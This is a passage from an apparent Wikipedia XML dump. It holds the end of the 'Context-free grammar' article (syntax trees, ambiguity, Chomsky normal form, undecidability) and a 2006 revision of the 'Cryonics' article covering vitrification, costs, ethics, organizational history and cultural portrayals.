: { { { 1 }&lt;sub&gt;S&lt;/sub&gt; + { 1 }&lt;sub&gt;S&lt;/sub&gt; }&lt;sub&gt;S&lt;/sub&gt; + { 1 }&lt;sub&gt;S&lt;/sub&gt; }&lt;sub&gt;S&lt;/sub&gt;
where { ... }&lt;sub&gt;S&lt;/sub&gt; indicates a substring recognized as belonging to S. This hierarchy can also be seen as a tree:

            S
           /|\
          / | \
         /  |  \
        S  '+'  S
       /|\      |
      / | \     |
     S '+' S   '1'
     |     |
    '1'   '1'

This tree is called a ''concrete syntax tree'' (see also [[abstract syntax tree]]) of the string. In this case the presented leftmost and the rightmost derivation define the same syntax tree, however there is another (leftmost) derivation of the same string possible

:S&amp;rarr; S + S      (1)
:S&amp;rarr; 1 + S      (2)
:S&amp;rarr; 1 + S + S  (1)
:S&amp;rarr; 1 + 1 + S  (2) 
:S&amp;rarr; 1 + 1 + 1  (2)

and this defines the following syntax tree:

            S 
           /|\
          / | \
         /  |  \
        S  '+'  S
        |      /|\
        |     / | \
       '1'   S '+' S
             |     |
            '1'   '1'

If for certain strings in the language of the grammar there is more than one parsing tree then the grammar is said to be an ''[[ambiguous grammar]]''. Such grammars are usually hard to parse because the parser cannot always decide which grammar rule it has to apply.

== Normal forms ==
Every context-free grammar that does not generate the empty string can be transformed into an equivalent one in [[Chomsky normal form]] or [[Greibach normal form]]. &quot;Equivalent&quot; here means that the two grammars generate the same language.

Because of the especially simple form of production rules in Chomsky Normal Form grammars, this normal form has both theoretical and practical implications. For instance, given a context-free grammar, one can use the Chomsky Normal Form to construct a polynomial-time algorithm which decides whether a given string is in the language represented by that grammar or not (the [[CYK algorithm]]).

== Undecidable problems ==
Although some operations on context-free grammars are decidable due to their limited power, unlike finite automata CFGs do have interesting undecidable problems. One of the simplest and most cited is the problem of deciding whether a CFG accepts the language of all strings. A reduction can be demonstrated to this problem from the well-known undecidable problem of determining whether a [[Turing machine]] accepts a particular input. The reduction uses the concept of a ''[[computation history]]'', a string describing an entire computation of a [[Turing machine]]. We can construct a CFG that generates all strings that are not accepting computation histories for a particular Turing machine on a particular input, and thus it will accept all strings only if the machine does not accept that input.

As a consequence of this, it is also undecidable whether two CFGs describe the same language, since we can't even decide whether a CFG is equivalent to the trivial CFG deciding the language of all strings.

On the other hand, the problem of determining whether a CFG accepts at least one string is decidable.

== Properties of context-free languages ==
* An alternative and equivalent definition of context-free languages employs non-deterministic [[push-down automaton|push-down automata]]: a language is context-free if and only if it can be accepted by such an automaton.
* A language can also be modeled as a set of all sequences of terminals which are accepted by the grammar.  This model is helpful in understanding set operations on languages.
* The union and concatenation of two context-free languages is context-free;  the intersection need not be.
* The reverse of a context-free language is context-free, but the complement need not be.
* Every [[regular language]] is context-free because it can be described by a [[regular grammar]]. 
* The intersection of a context-free language and a regular language is always context-free. 
* There exist [[context-sensitive language]]s which are not context-free.
* To prove that a given language is not context-free, one may employ the [[pumping lemma]] for context-free languages.
* Another point worth mentioning is that the problem of determining if a [[context-sensitive language|context-sensitive]] grammar describes a context-free language is undecidable.

== See also ==
* [[Parsing]]
* [[Formal grammar]]
* [[Parsing expression grammar]]

== References ==
* {{cite book|author = [[Michael Sipser]] | year = 1997 | title = Introduction to the Theory of Computation | publisher = PWS Publishing | id = ISBN 0-534-94728-X}} Section 2.1: Context-Free Grammars, pp.91–101. Section 4.1.2: Decidable problems concerning context-free languages, pp.156–159. Section 5.1.1: Reductions via computation histories: pp.176–183.

{{Formal languages and grammars}}

[[Category:Formal languages]]

[[cs:Bezkontextová gramatika]]
[[de:Kontextfreie Grammatik]]
[[es:Gramática libre de contexto]]
[[fi:Yhteydetön kielioppi]]
[[fr:Grammaire hors-contexte]]
[[ja:文脈自由文法]]
[[pl:Gramatyka bezkontekstowa]]
[[zh:上下文无关文法]]</text>
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  <page>
    <title>Cryonics</title>
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      <id>41183189</id>
      <timestamp>2006-02-25T16:42:32Z</timestamp>
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        <ip>24.126.34.97</ip>
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      <comment>rv advertisement</comment>
      <text xml:space="preserve">'''Cryonics''' (often mistakenly called &quot;[[cryogenics]]&quot;) is the practice of [[cryopreservation|cryopreserving]] humans or animals that can no longer be sustained by contemporary [[medicine]] until resuscitation may be possible in the future.  The process is not currently reversible, and by law can only be performed on humans after legal death.  Cryonics is viewed with [[scientific skepticism|skepticism]] by most scientists and doctors today. However, there is a high representation of scientists among cryonics supporters.{{ref|Note1}}  Scientific support for cryonics is based on projections of future technology, especially [[molecular nanotechnology]] and [[nanomedicine]]. Some scientists believe that [http://www.alcor.org/Library/html/24thcenturymedicine.html future medicine] will enable [[molecular]]-level repair and regeneration of damaged [[biological tissue|tissue]]s and [[organ (anatomy)|organ]]s decades or centuries in the future.  [[Disease]] and [[aging]] are also assumed to be reversible.

The central premise of cryonics is that [[memory]], personality, and [[personal identity | identity]] are stored in the structure and chemistry of the [[brain]].  While this view is widely accepted in [[medicine]], and [[brain]] activity is known to stop and later resume under certain conditions, it is not generally accepted that current methods preserve the [[brain]] well enough to permit revival in the future.  Cryonics advocates point to [http://www.alcor.org/Library/html/braincryopreservation1.html studies showing] that high concentrations of [[cryoprotectant]] circulated through the [[brain]] before cooling can mostly prevent freezing injury, preserving the fine [[cell (biology) | cell]] structures of the [[brain]] in which [[memory]] and [[personal identity | identity]] presumably reside.  

To its detractors, the justification for the actual practice of cryonics is unclear, given present limitations of preservation technology.  Currently cells, tissues, blood vessels, and some small animal organs can be reversibly [[cryopreservation | cryopreserved]].  Some [[frog | frogs]] can survive for a few months in a partially frozen state a few degrees below freezing, but this is not true [[cryopreservation]].  Cryonics advocates counter that demonstrably reversible preservation is not necessary to achieve the present-day goal of cryonics, which is preservation of basic [[brain]] information that encodes [[memory]] and [[personal identity]].  Preservation of this information is said to be sufficient to prevent [[information theoretical death | information theoretic death]] until future repairs are possible.

Probably the most famous [[:Category:Cryonically preserved people|cryopreserved patient]] is [[Ted Williams]]. The popular [[urban legend]] that [[Walt Disney]] was cryopreserved is false; he was cremated, and interred at [[Forest Lawn Memorial Park (Glendale)|Forest Lawn Memorial Park Cemetery]]. [[Robert A. Heinlein]], who [[The Door into Summer | wrote enthusiastically]] of the concept, was cremated and his ashes distributed over the [[Pacific Ocean]]. [[Timothy Leary]] was a long-time cryonics advocate, and signed up with a major cryonics provider. He changed his mind, however, shortly before his death, and so was not cryopreserved.

==Obstacles to success==

===Damage from ice formation and ischemia===
Cryonics has traditionally been dismissed by mainstream [[cryobiology]], of which it is arguably a part. The reason generally given for this dismissal is that the [[freezing]] process creates [[ice]] crystals, which some scientists have claimed damage cells and cellular structures so as to render any future repair impossible. Cryonicists have long argued, however, that the extent of this damage was greatly exaggerated by the critics, presuming that some reasonable attempt is made to perfuse the body with [[cryoprotectant]] chemicals (traditionally [[glycerol]]) that inhibit ice crystal formation.

According to cryonicists, the ice crystal damage objection became moot around the turn of the millennium, when cryobiologists [[Greg Fahy]] and [[Brian Wowk]], of [[Twenty-First Century Medicine]], developed major improvements in cryopreservation technology, including new [[cryoprotectant]]s and new cryoprotectant mixtures, greatly improving the feasibility of [[vitrification]], and resulting in the near-elimination of ice crystal formation in the brain.  [[Vitrification]] preserves tissue in a glassy rather than frozen state. In [[glass]], molecules do not rearrange themselves into grainy crystals as they are cooled, but instead become locked together while still randomly arranged as in a fluid, forming a &quot;solid liquid&quot; as the temperature falls below the glass transition temperature.  [[Alcor Life Extension Foundation]], the world's largest cryonics provider, has since been using these cryoprotectants, along with a new, faster cooling method, to vitrify whole human brains ([[neurovitrification]]).  The second-largest cryonics provider in the world, the [[Cryonics Institute]] (CI), uses a vitrification solution developed by its in-house [[cryobiology|cryobiologist]], Dr. Yuri Pichugin. CI has developed computer-controlled cooling boxes to ensure that cooling is rapid above T&lt;SUB&gt;g&lt;/SUB&gt; ([[glass transition temperature]], solidification temperature) and slow below T&lt;SUB&gt;g&lt;/SUB&gt; (to reduce fracturing due to thermal [[stress (physics)|stress]]).

Current solutions being used for [[vitrification]] are stable enough to avoid crystallization even when a vitrified [[human brain|brain]] is warmed up.  This has recently allowed brains to be vitrified, warmed back up, and examined for ice damage using light and [[electron microscope|electron microscopy]].  No ice crystal damage was found.  However, if the circulation of the brain is compromised, protective chemicals may not be able to reach all parts of the brain, and [[freezing]] may occur either during cooling or during rewarming.  Cryonicists argue, however, that injury caused during cooling might, in the future, be repairable before the vitrified brain is warmed back up, and that damage during rewarming might be prevented by adding more [[cryoprotectant]] in the solid state, or by improving rewarming methods.  But even given the best vitrification that current technology allows, rewarming still does not allow revival, even if crystallization is avoided, due to the toxic effects of the cryoprotectants.  Again, however, cryonicists counter that future technology might be able to overcome this difficulty, and find a way to combat the toxicity after rewarming. If, for example, the [[toxicity]] is due to [[denaturation (biochemistry)|denatured]] [[protein]]s, those proteins could be repaired or replaced. 

Some critics have speculated that because a cryonics patient has been declared legally dead, their organs must be  dead, and thus unable to allow [[cryoprotectant]]s to reach the majority of cells.  Cryonicists respond that it has been empirically demonstrated that, so long as the [[cryopreservation]] process begins immediately after legal death is declared, the individual organs (and perhaps even the patient as a whole) remain biologically alive, and vitrification (particularly of the brain) is quite feasible.  This same principle is what allows organs, such as hearts, to be transplanted, even though they come from dead donors.

Cryonics rescue procedures cannot begin until legal pronouncement of [[death]] has occurred, and pronouncement is usually based on cessation of [[heart|heartbeat]] (only very rarely on brain activity measurements). When the heart stops beating and [[blood]] flow ceases, [[ischemia|ischemic]] damage begins. Deprived of [[oxygen]] and [[nutrient]], [[cell (biology)| cell]]s, [[biological tissue|tissue]]s and [[organ (anatomy)|organ]]s begin to deteriorate. If the heart is restarted after too many minutes have passed, the reintroduced oxygen can cause even more damage due to [[oxidative stress]], a phenomenon known as reperfusion injury. Cryonicists try to minimize ischemic and reperfusion injury by beginning cardio-pulmonary support (much like [[CPR]]) and cooling as soon as possible after pronouncement of death. Anti-[[coagulation|clotting]] agents like [[heparin]] and [[antioxidant]]s may be administered. Suspended Animation, Inc is a [[Florida]] company that specializes in research into, and implementation of, optimal procedures for minimizing [[ischemia|ischemic]] injury in cryonics rescue.

===Revival process===

Critics have often quipped that it is easier to revive a corpse than a cryonically frozen body. Many cryonicists might actually agree with this, provided that the &quot;corpse&quot; were fresh, but they would argue that such a &quot;corpse&quot; may actually be biologically alive, under optimal conditions. A declaration of legal death does not mean that life has suddenly ended&amp;mdash;death is a gradual process, not a sudden event. Rather, legal death is a declaration by medical personnel that there is nothing more they can do to save the patient. But if the body is clearly biologically dead, having been sitting at room temperature for a period of time, or having been traditionally embalmed, then cryonicists would hold that such a body is far less revivable than a cryonically preserved patient, because any process of resuscitation will depend on the quality of the structural and molecular preservation of the [[human brain|brain]].

Cryonicists would also point out that the definitions of &quot;death&quot; and &quot;corpse&quot; currently in use may change with future medical advances, just as they have changed in the past (after, for example, the invention of [[defibrillation]]), and so they generally reject the idea that they are trying to &quot;raise the dead,&quot; viewing their procedures instead as highly experimental medical procedures, whose efficacy is yet to be either demonstrated or refuted. Some also suggest that if technology is developed that allows [[mind transfer]], revival of the frozen brain might not even be required; the mind of the patient could instead be &quot;[[mind transfer|uploaded]]&quot; into an entirely new substrate.

===Financial issues===

The biggest drawback to current [[vitrification]] practice is a cost issue. Because the most cost-effective means of storing a cryopreserved person is in liquid nitrogen, fracturing of the brain occurs, a result of thermal stresses that develop when cooling from &amp;minus;130°C to &amp;minus;196°C (the temperature of liquid nitrogen). Fracture-free vitrification would require inexpensive storage at a temperature significantly below the glass transition temperature of about &amp;minus;125°C, but high enough to avoid fracturing (&amp;minus;130°C is about right). [[Alcor Life Extension Foundation|Alcor]] is currently developing such a storage system. Alcor believes, however, that even before such a storage system is developed, the current vitrification method is far superior to traditional glycerol-based freezing. The fractures are very clean breaks that occur even with traditional glycerol cryoprotection, and the loss of neurological structure is much less than that caused by ice formation, by orders of magnitude.

[[Cryopreservation]] arrangements can be expensive, currently ranging from $28,000 at the [[Cryonics Institute]] to $150,000 at [[Alcor Life Extension Foundation|Alcor]] and the [[American Cryonics Society]]. Most cryonicists fund the costs by making cryonics organizations the beneficiaries of [[life insurance]] policies. The elderly, and others who may be uninsurable for health reasons, will often pay for the procedure through their estate. Others simply invest their money over a period of years, accepting the risk that they might die in the meantime. All in all, cryonics is actually quite affordable for the vast majority of those in the industrialized world who really want it, especially if they make arrangements while still young.

Even assuming perfect [[cryopreservation]] techniques, many cryonicists would still regard eventual revival as a long shot. In addition to the many technical hurdles that remain, the likelihood of obtaining a good cryopreservation is not very high because of logistical problems. The likelihood of the continuity of cryonics organizations as businesses, and the threat of legislative interference in the practice, don't help the odds either. Most cryonicists, therefore, regard their cryopreservation arrangements as a kind of medical insurance&amp;mdash;not certain to keep them alive, but better than no chance at all and still a rational gamble to take.

==Head (&quot;neuro&quot;) vs. whole-body cryopreservation==

During the [[1980s]], the problems associated with crystallization were becoming better appreciated, but the publication of the book [[Engines of Creation]] by [[K. Eric Drexler]] in 1986 aroused a great deal of interest in the idea that [[nanotechnology]] would be able to repair freezing damage.  [[Alcor Life Extension Foundation|Alcor]] and the American Cryonics Society shifted emphasis from whole body to &quot;neuropreservation&quot; (&quot;neuro&quot;, head-only [[cryopreservation]]), on the assumption that the rest of the body could be regrown, perhaps by [[cloning]] of the person's [[DNA]] or reconstructed with nanotechnology. The main goal now seems to be to preserve the information contained in the structure of the brain, on which memory and personal identity depends. Available scientific and medical evidence suggests that the mechanical structure of the brain is wholly responsible for personal identity and memories (for instance, spinal cord injury victims, organ transplant patients, and amputees appear to retain their personal identity and memories). Damage caused by [[freezing]] and fracturing is thought to be potentially repairable in the future, using [[nanotechnology]], which will enable the manipulation of matter at the [[molecular]] level. To critics, this appears a kind of futuristic [[deus ex machina]], but while the engineering details remain speculative, the rapidity of scientific advances over the past century, and more recently in the field of nanotechnology itself, suggest to some that there may be no insurmountable problems. And the cryopreserved patient can wait a long time. With the advent of vitrification, the importance of nanotechnology to the cryonics movement may begin to decrease. 

Some critics, and even some cryonicists, question this emphasis on the [[brain]], arguing that during neuropreservation some information about the body's [[phenotype]] will be lost and the new body may feel &quot;unwanted,&quot; and that in case of brain damage the body may serve as a crude backup, helping restore indirectly some of the memories.{{ref|Note2}} The argument is also made that the body is personal [[Souvenir|memorabilia]] of life-history, much like diaries and photo albums. Partly for this reason (as well as for better public relations), the [[Cryonics Institute]] preserves only whole bodies. Some proponents of neuropreservation agree with these concerns, but still feel that lower costs and better brain preservation justify preserving only the brain. About three-quarters of the patients stored at [[Alcor Life Extension Foundation|Alcor]] are &quot;neuros&quot;.

==Philosophy and Ethics==

Cryonics is based on a view of dying as a process that can be stopped in the minutes, and perhaps hours, following [[clinical death]].  If [[death]] is not an event that happens suddenly when the heart stops, this raises philosophical questions about what exactly death is.  In 2005 an [http://ccforum.com/inpress/cc3894/abstract ethics debate] in the medical journal, Critical Care, noted “…few if any patients pronounced dead by today’s physicians are in fact truly dead by any scientifically rigorous criteria.”  Cryonics proponent [[Thomas Donaldson]] [http://www.alcor.org/Library/html/ProspectsOfACureForDeath.html has argued] that “death” based on [[cardiac arrest]] or resuscitation failure is a purely social construction used to justify terminating care of dying patients.  In this view, legal death and its aftermath are a form of [[euthanasia]].  Philosopher [[Max More]] suggested [http://www.alcor.org/Library/html/TerminusOfTheSelf.html a distinction] between death associated with circumstances and intention versus death that is absolutely irreversible.  Absolutely irreversible death has also been called [[information theoretical death | information-theoretic death]].  Bioethicist [[James Hughes]] has [http://www.jetpress.org/volume6/death.htm written] that increasing rights will accrue to cryonics patients as prospects for revival become clearer, noting that recovery of legally dead persons has precedent in the discovery of missing persons. 

[[Ethical]] and [[theological]] opinions of cryonics tend to pivot on the issue of whether cryonics is regarded as [[interment]] or [[medicine]].  If cryonics is interment, then [[religious]] beliefs about death and [[afterlife]] come into consideration.  Resuscitation is generally deemed impossible because the [[soul]] is gone, and only [[God]] can [[resurrection | resurrect]] the dead.  Expensive interment is seen as a waste of resources.  If cryonics is regarded as medicine, with legal death as a mere enabling mechanism, then cryonics is a long-term [[coma]] with uncertain prognosis.  It is continuing to care for sick people when others have given up, and a legitimate use of resources to sustain human life.  Cryonics advocates complain that theological dismissal of cryonics because it is interment is a [http://www.alcor.org/Library/html/hesdeadjim.htm circular argument] because calling cryonics interment presumes that cryonics cannot work.  They believe future technical advances will validate their view that cryonics patients are recoverable, and therefore never really dead.
 
[[Alcor Life Extension Foundation | Alcor]] has published a [http://www.alcor.org/Library/html/christianityandcryonics.html vigorous Christian defense of cryonics], including excerpts of a sermon by [[Lutheran]] Reverend Kay Glaesner.  Noted [[Christian]] apologist [[John Warwick Montgomery]] has [http://www.alcor.org/Library/html/cryonicsandorthodoxy.html defended cryonics].  In 1969, a [[Roman Catholic]] priest [[consecrated]] the cryonics capsule of Ann DeBlasio, one of the first cryonics patients.   In 2002, a [[Muslim]] cleric indicated in a media interview that cryonics would be compatible with [[Islam]] if it were medicine.

==History==

[[Benjamin Franklin]] suggested in a famous 1773 letter [http://www.foresight.org/EOC/EOC_Chapter_9.html] that it might be possible to preserve human life in a suspended state for centuries.  However the modern era of cryonics began in 1962 when Michigan college physics professor [[Robert Ettinger]] proposed in a privately published book, “The Prospect of Immortality”[http://www.cryonics.org/book1.html], that freezing people may be a way to reach future medical technology.  Even though freezing a person is apparently fatal, Ettinger argued that what appears to be fatal today may be reversible in the future.  He applied the same argument to the process of dying itself, saying that the early stages of [[clinical death]] may be reversible in the future.  Combining these two ideas, he suggested that freezing recently deceased people may be a way to save lives.

Slightly before [[Robert Ettinger | Ettinger’s]] book was complete, [http://www.cryonet.org/cgi-bin/dsp.cgi?msg=23124 Evan Cooper] (writing as Nathan Duhring) privately published a book called “Immortality: Physically, Scientifically, Now” that independently suggested the same idea.  Cooper founded the Life Extension Society in 1965 to promote freezing people.  [[Robert Ettinger | Ettinger]] came to be credited as the originator of cryonics, perhaps because his book was republished by Doubleday in 1964 on recommendation of [[Isaac Asimov]] and [[Fred Pohl]], and received more publicity.  Ettinger also stayed with the movement longer.  Nevertheless, cryonics historian R. Michael Perry has written “Evan Cooper deserves the principal credit for forming an organized cryonics movement.”[http://www.alcor.org/cryonics/cryonics9208.txt]
 
The actual word “cryonics” was invented by Karl Werner in 1965 in conjunction with the founding of the Cryonics Society of New York (CSNY) by [[Curtis Henderson]] and [[Saul Kent]] that same year.  This was followed by the founding of the Cryonics Society of Michigan (CSM) and Cryonics Society of California (CSC) in 1966, and Bay Area Cryonics Society (BACS) in 1969 (renamed the [[American Cryonics Society]], or ACS, in 1985).  CSM eventually became the Immortalist Society, a non-profit affiliate of the [[Cryonics Institute]] (CI), a cryonics service organization founded by [[Robert Ettinger]] in 1976, now the second-largest cryonics organization.

Although there was at least one earlier aborted case, it is generally accepted that the first person frozen with intent of future resuscitation was [[Dr. James Bedford]], a 73-year-old psychology professor frozen under crude conditions by CSC on [[January 12]], [[1967]].  The case made the cover of a limited print run of [[Life Magazine]] before the presses were stopped to report the death of three astronauts in the [[Apollo 1]] fire instead.

Cryonics suffered a major setback [http://www.alcor.org/Library/html/suspensionfailures.html] in 1979 when it was discovered that nine bodies stored by CSC in a cemetery in Chatsworth, California, thawed due to depletion of funds.  Some of the bodies had apparently thawed years earlier without notification.  The head of CSC was sued, and negative publicity slowed cryonics growth for years afterward.  Of seventeen documented cryonics cases between 1967 and 1973, only James Bedford remains [[cryopreservation | cryopreserved]] today.  Strict financial controls and requirements adopted in response to the Chatsworth scandal have resulted in the successful maintenance of almost all cryonics cases since that era.

The largest cryonics organization today was established by [[Fred and Linda Chamberlain]] in 1972 as the Alcor Society for Solid State Hypothermia (ALCOR).  In 1977 the name was changed to the [[Alcor Life Extension Foundation]].  In 1982, the Institute for Advanced Biological Studies (IABS) founded by [[Mike Darwin]] and Steve Bridge in Indiana merged with Alcor.  By combining [[Mike Darwin | Darwin’s]] technical and communications skills with those of medical scientist [[Jerry Leaf]], this merger is generally regarded as a key event that allowed Alcor to attract a critical mass of knowledgeable people, eventually moving Alcor to a leading position in the field.  

During the 1980s Darwin worked with [[UCLA]] cardiothoracic surgery researcher [[Jerry Leaf]] at [[Alcor Life Extension Foundation | Alcor]] to develop a medical model for cryonics procedures.  Prior to [[Jerry Leaf | Leaf]] and [[Mike Darwin |Darwin]], cryonics preparation was little more than a mortuary procedure in which [[cryoprotectant]] chemicals were substituted for embalming fluid. [[Jerry Leaf | Leaf]] and [[Mike Darwin | Darwin]] showed that [[CPR]] and medications applied immediately after [[cardiac arrest]], followed by cardiopulmonary bypass and thoracic surgery for access to major blood vessels, could greatly reduce [[ischemia | ischemic]] injury (injury caused by stopped blood flow) in cryonics patients.  They created the cryonics procedure now known as a “standby”, in which a stabilization team stands by to institute life support procedures at the bedside of a cryonics patient as soon as possible after the heart stops.

Cryonics received new support in the 1980s when MIT engineer [[Eric Drexler]] started publishing papers and books foreseeing the new field of [[molecular nanotechnology]].  His 1986 book, [[Engines of Creation]], included an entire chapter on cryonics applications[http://www.foresight.org/EOC/EOC_Chapter_9.html].  Cryonics advocates saw the nascent field of nanotechnology as vindication of their long held view [http://www.foresight.org/EOC/EOC_References.html#0156] that molecular repair of injured tissue was theoretically possible. 

Nanotechnology has also been the cause of controversy within the cryonics field, with some cryonics advocates arguing that sophisticated preservation methods aren’t necessary because “nanotechnology is necessary and sufficient” for cryonics to work.  Critics countered that believing nanotechnology is necessary and sufficient without regard to preservation quality is more religion than science.  The simultaneous advent of [[Jerry Leaf | Leaf]] and [[Mike Darwin | Darwin’s]] medical model of cryonics, and the nanotechnology repair paradigm, polarized cryonics into two schools of thought [http://www.alcor.org/Library/html/MythOfTheGoldenScalpel.html] that persist to the present day.  One school tends to believe that simple inexpensive procedures administered by morticians are sufficient, while the other advocates monitoring and maintaining viability by contemporary medical methods as far as possible into the procedure, with reversible [[suspended animation]] as an ultimate goal.

In the late 1980s a nexus of favorable circumstances, including technical progress, support from nanotechnology experts, and effective communications, led to a period of rapid growth, especially of [[Alcor Life Extension Foundation | Alcor]].  [[Alcor Life Extension Foundation | Alcor’s]] membership expanded ten-fold within a decade, with a 30% annual growth rate between 1988 and 1992.  

[[Alcor Life Extension Foundation | Alcor ]] was disrupted by political turmoil in 1993 when a group of activists left to start the [http://www.cryocare.org/index.cgi CryoCare Foundation], and associated for-profit companies CryoSpan, Inc. (headed by Paul Wakfer) and [http://www.cryocare.org/index.cgi?subdir=bpi&amp;url=bpi.html BioPreservation, Inc.] (headed by [[Mike Darwin]]).  [[Mike Darwin | Darwin]] and collaborators made many technical advances during this time period, including a [http://www.alcor.org/Library/html/braincryopreservation1.html landmark study] documenting high quality brain preservation by freezing with high concentrations of glycerol. CryoCare ceased operations in 1999 when they were unable to renew their service contract with BioPreservation.  CryoCare’s two patients stored at CryoSpan were transferred to [[Alcor Life Extension Foundation | Alcor]].  Several [[American Cryonics Society | ACS]] patients stored at CryoSpan were transferred to [[Cryonics Institute | CI]].  

There have been numerous, often transient, for-profit companies involved in cryonics.  For-profit companies were often paired or affiliated with non-profit groups they served.  Some of these companies, with non-profits they served in parentheses, were Cryonic Interment, Inc. (CSC), Cryo-Span Corporation (CSNY), Cryo-Care Equipment Corporation (CSC and CSNY), Manrise Corporation ([[Alcor Life Extension Foundation | Alcor]]), CryoVita, Inc. ([[Alcor Life Extension Foundation | Alcor]]), BioTransport, Inc. ([[Alcor Life Extension Foundation | Alcor]]), [http://www.transtime.com/ Trans Time, Inc.] (BACS), Soma, Inc. (IABS), CryoSpan, Inc. (CryoCare and [[American Cryonics Society | ACS]]), BioPreservation, Inc. (CryoCare and [[American Cryonics Society | ACS]]), [http://www.suspendedinc.com/ Suspended Animation, Inc.] ([[Alcor Life Extension Foundation | Alcor]] and [[Cryonics Institute | CI]]).  Only Trans Time and Suspended Animation still exist.  Apparently none of the companies were ever profitable.  The cryonics field seems to have largely consolidated around the two non-profit groups, [[Alcor Life Extension Foundation | Alcor]] and [[Cryonics Institute]] (CI), both deriving significant income from bequests and donations.

As research in the 1990s revealed the damaging effects of freezing in greater detail, there was a trend to use higher concentrations of glycerol [[cryoprotectant]] to prevent freezing injury.  In 2001 Alcor began using [[vitrification]] (a technology borrowed from mainstream organ preservation research) in an attempt to completely prevent ice formation during cold preservation.  Because [[vitrification]] technology could then only be applied to the head, heads and bodies were sometimes separated to optimize preservation of the brain, causing much public confusion.

In 2005 Alcor began applying [[vitrification]] (or [http://www.alcor.org/Library/html/newtechnology.html attempted vitrification]) treatment to the whole body simultaneously without removal of the head.  In the same year, the Cryonics Institute began using a [http://www.cryonics.org/reports/CI69.html new procedure] in which the head is vitrified while still attached to the body, which is frozen without any [[cryoprotectant]].

When the baseball star [[Ted Williams]] was [[cryopreservation | cryopreserved]] by [[Alcor Life Extension Foundation|Alcor]] in 2002 a family dispute arose as to whether Ted had really wanted to be [[cryopreservation | cryopreserved]]. Following a July, 2003 [[Sports Illustrated]] article claiming that Alcor had mishandled Ted Williams{{ref|Note4}}{{ref|Note5}}{{ref|Note6}}, Alcor had to fight for its existence in the [[Arizona]] legislature.{{ref|Note7}} At minimum, Alcor could have been denied use of the [[Uniform Anatomical Gift Act]], which could have impaired its ability to gain rapid access to cryonics patients.  Despite not being responsible for Ted Williams, the media blitz resulted in the [[Cryonics Institute]] (CI) being placed under a &quot;Cease and Desist&quot; order by the State of [[Michigan]] for six months. Finally the Michigan government decided to regulate CI as a [[cemetery]].

[[Alcor Life Extension Foundation|Alcor]] currently maintains about 70 cryonics patients in [[Scottsdale, Arizona]] and the [[Cryonics Institute]] has about the same number of cryonics patients in its Clinton Township, [[Michigan]] facility. There are no cryonics service providers outside of the United States, although there are support groups in [[Europe]], [[Canada]], [[Australia]] and the [[United Kingdom]].

==Culture==

===Cryonics in mass culture===
Procedures similar to cryonics have been featured in innumerable [[science fiction]] stories to aid space travel, or as means to transport a character from the past into the future. In addition to accomplishing whatever the character's primary task is in the future, he or she must cope with the strangeness of a new world, which may contain only traces of their previous surroundings. This prospect of alienation is often cited as a major reason for the unpopularity of cryonics.

Relatively few stories have been published concerning the primary objective and definition of cryonics, which is medical time travel. Novels with this theme include the national best-seller ''[[The First Immortal]]'' by [[James Halperin]], ''[[The Age of the Pussyfoot]]'' by [[Fred Pohl]], ''[[Chiller]]'' by Sterling Blake (aka [[Gregory Benford]]), ''[[Tomorrow and Tomorrow]]'' by [[Charles Sheffield]], ''Ralph’s Journey'' by David Pizer, and ''Formerly Brandewyne'' by Jude Liebermann. The novel ''Fiasco'' by [[Stanislaw Lem]] raised the question of whether a person [[cryopreservation | cryopreserved ]] for centuries and then revived with amnesia is still the same person.  A 1931 short story by [[Neil R. Jones]] called ''[[The Jameson Satellite]]'' has been credited with giving [[Robert Ettinger]] the seed of the idea of cryonics when he was a teenager.

Movies featuring time travel for medical purposes include the [[Woody Allen]] comedy, ''[[Sleeper (film)|Sleeper]]'', and the films ''[[Late for Dinner]]'' and ''[[Vanilla Sky]]''. Although not about cryonics per se, the [[Ron Howard]] film ''[[Cocoon (film)|Cocoon]]'' has been [http://www.alcor.org/cryonics/cryonics8508.txt hailed] by cryonics advocates as expressing the values motivating cryonics better than any other film.

On television, producer [[David E. Kelley]] wrote well-researched and essentially accurate portrayals of cryonics for the T.V. shows ''[[L.A. Law]]'' ([http://www.imdb.com/title/tt0624130/ 1990 episode]), ''[[Picket Fences]]'' (
[http://www.imdb.com/title/tt0674696/ 1994 episode]), and ''[[Boston Legal]]''
([http://www.imdb.com/title/tt0530525/ 2005 episode]). In each case, there was a dying plaintiff petitioning a court for the right to elective [[cryopreservation]]. The episode &quot;[[The Neutral Zone (TNG episode)|The Neutral Zone]]&quot; from the first season of ''[[Star Trek: The Next Generation]]'' also featured three [[cryopreservation | cryopreserved]] people in an ancient spacecraft. They had legally died in the 20th century, but were viable and recoverable by 24th century technology.  Cryonics was also satirized by the comedy cartoon series ''[[Futurama]]'', in which the character, [[Philip J. Fry]], is accidentally [[cryopreservation | cryopreserved]] at the turn of the millennium on [[December 31st]] [[1999]], and revived on [[December 31st]] [[2999]], a thousand years later.

It has also been featured in the video game ''[[Halo (video game series)|Halo]]''.

===The subculture of cryonicists===

Cryonicists to some extent form an ethnic group or subculture because of their common interests and radical departure from standard cultural norms. To choose cryonics usually requires intelligence, an appreciation for science/technology ([[technophilia]]), love of life (a desire for [[life extension]]), independent thinking and an ability to resist social pressure/disapproval. Male cryonicists outnumber females by three or four to one. Cryonicists are often [[computer]] [[professional]]s, [[libertarian]]s, readers of [[science fiction]] and people who have little regard for conventional [[religion]]. Often cryonicists have chosen cryonics without support or interest by any of their family or friends, and participate in the cryonics community by [[e-mail]] or occasional meetings. Although the alienation of cryonicists from mass culture should make them a close community, their independence and passion has often made cryonicists intensely hostile to each other. (To borrow from a common ethnic joke, two cryonicists on an island might form three political parties.) 

Cryonicists have been able to form cryonics societies in highly populated areas (see [[Cryonics#History|history section]]), have regular meetings, publish magazines and hold conferences. [[Saul Kent]] and Evan Cooper as well as [[Fred and Linda Chamberlain]] were active in organizing cryonics conferences in the early years of cryonics. The magazines of the cryonics organizations have also helped keep members of the cryonics community informed about events and common problems. On July 24, 1988 a [[Doctor of Philosophy|Ph.D.]] in [[computer science]] named Kevin Brown started an [[electronic mailing list]] called [http://www.cryonet.org/ CryoNet] that became a powerful tool of  communication for the cryonics community. Although the list often is filled with [[philosophy|philosophical]] ruminations about the meaning of [[personal identity]], it remains the most central point of contact for cryonicists. 

